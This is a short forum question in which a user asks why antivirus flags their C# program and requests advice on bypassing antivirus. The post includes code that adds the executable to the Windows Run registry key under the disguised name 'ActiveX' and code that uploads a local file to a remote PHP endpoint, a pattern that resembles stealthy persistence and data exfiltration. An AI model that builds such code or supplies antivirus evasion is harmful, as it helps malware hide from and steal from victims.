Aditya Chauhan

Aditya Chauhan

  • NA
  • 102
  • 57.4k

Registry Entry Caught By The Antivirus

May 21 2015 2:04 AM
Hello experts I am facing a prob with my exe

My exe Is running f9 

but caught by the Antivirus bcz of two reasons only 

1 : RegistryKey reg = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
reg.SetValue("ActiveX", Application.ExecutablePath.ToString()); 
//when i create a entry in the registry

2: System.Net.WebClient Client = new System.Net.WebClient();
Client.Headers.Add("Content-Type", "binary/octet-stream");
byte[] result = Client.UploadFile("http://#########/data/upload.php", "POST", filepath);
string s = System.Text.Encoding.UTF8.GetString(result, 0, result.Length);

//and second when i upload my files from c# client to php server 
How can i resolve it?
and give me suggestion for bypass antivirus